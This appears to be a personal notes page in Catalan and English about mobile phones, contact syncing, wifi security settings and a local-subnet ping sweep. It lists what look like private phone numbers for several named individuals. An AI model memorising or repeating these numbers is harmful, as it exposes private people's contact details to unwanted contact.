  • IMEI : Enter *#06# on your phone's key pad and the 15 digit number will be displayed on the screen.

  • Com es fa : vaig al CORTIX, em cobren uns diners, envien un SMS dient que tinc mes saldo. El saldo es a la tarjeta o a la central ?

  • Com es passa l'agenda del mobil al PC i al inrevés ?
    CF62 - easy : use Siemens Data Suite [18,7 MB]
    Cable :
    • conexion to COM port : DCA-500
    • conexion to USB port : DCA-510

    f:\miscosas\CF62 !

 


  • Ionna : 666.36.38.42 - Siemens C45.

  • Nico : 670.85.84.98 - Siemens C45.

    2-on : 66666.38.59 - Siemens SL-55

  • Arcadi : 66.10.66.400 - Nokia 5140

  • CF62 - Siemens : 667.33.88.59

  • V3 - Motorola : 677.65.86.99

http://www.my-siemens.com

http://www.vidisa.es


Configuring an Access Point as a wireless repeater

Read Link Sys


Dubtes

Differences :

See BT4 and wiki.

Seguretat & WiFi & jerga
Wireless security type : Use 802.1x EAP Cisco (LEAP) + data encryption = TKIP.

802.1x, EAP.



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Tools
Phone
Scan range for alive IPs
c:\> FOR /L %i IN (1,1,255) DO @echo 192.168.1.%i & @ping -n 2 192.168.1.%i -w 900 | find "Reply"

Wifi 802.11x speeds

IEEE Standard / Speed

802.11a


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Wifi networks order

If you have multiple wifi networks available, Windows will try to connect to them in the order specified by

  1. Control Panel
  2. Network and Internet
  3. Manage Wireless Networks

Right-click on any item and select "Move Up" or "Move Down" from the menu.


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Wifi links

Ep ! Site under construction. Escriu-me !
Updated 20171117 (A)  
Uf !